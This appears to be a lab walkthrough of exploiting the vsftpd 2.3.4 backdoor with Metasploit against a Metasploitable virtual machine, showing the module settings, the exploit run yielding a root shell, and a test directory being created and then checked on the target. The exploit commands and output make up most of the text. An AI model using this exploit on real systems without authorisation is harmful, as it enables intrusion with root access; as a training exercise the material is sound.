


```

rhost => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info

Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03

Provided by:
hdm <x@hdm.io>
MC <mc@metasploit.com>

Available targets:

Id  Name
--  --
=> 0  Automatic

Check supported:
No

Basic options:


| Name   | Current Setting | Required | Description                                                                                                                                                                                         |
|--------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS | 192.168.1.149   | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT  | 21              | yes      | The target port (TCP)                                                                                                                                                                               |



Payload information:
Space: 2000
Avoid: 0 characters

Description:
This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between

```

View the full module info with the `info -d` command.

```

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.60:35273 -> 192.168.1.149:6200) at 2023-11-06 16:22:08 +0100

```

```

sudo su
cd /
mkdir test_metasploit

```

```

Last login: Mon Nov  6 06:09:41 EST 2023 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

```

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in `/usr/share/doc/*/copyright`.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:

<http://help.ubuntu.com/>

No mail.

```
msfadmin@metasploitable:~$ cd &
```

```
[1] 4750
```

```
[1]+  Done cd
```

```
msfadmin@metasploitable:~$ cd/
```

```
-bash: cd/: No such file or directory
```

```
msfadmin@metasploitable:~$ cd /
```

```
msfadmin@metasploitable:/$ ls
```

```

bin      dev      initrd   lost+found  nohup.out  root  sys      usr
boot     etc      initrd.img  media      opt        sbin  test_metasploit  var
cdrom    home    lib      mnt        proc       srv   tmp          vmlinuz

```

```
msfadmin@metasploitable:/$
```

```
msfadmin@metasploitable:/$ _
```

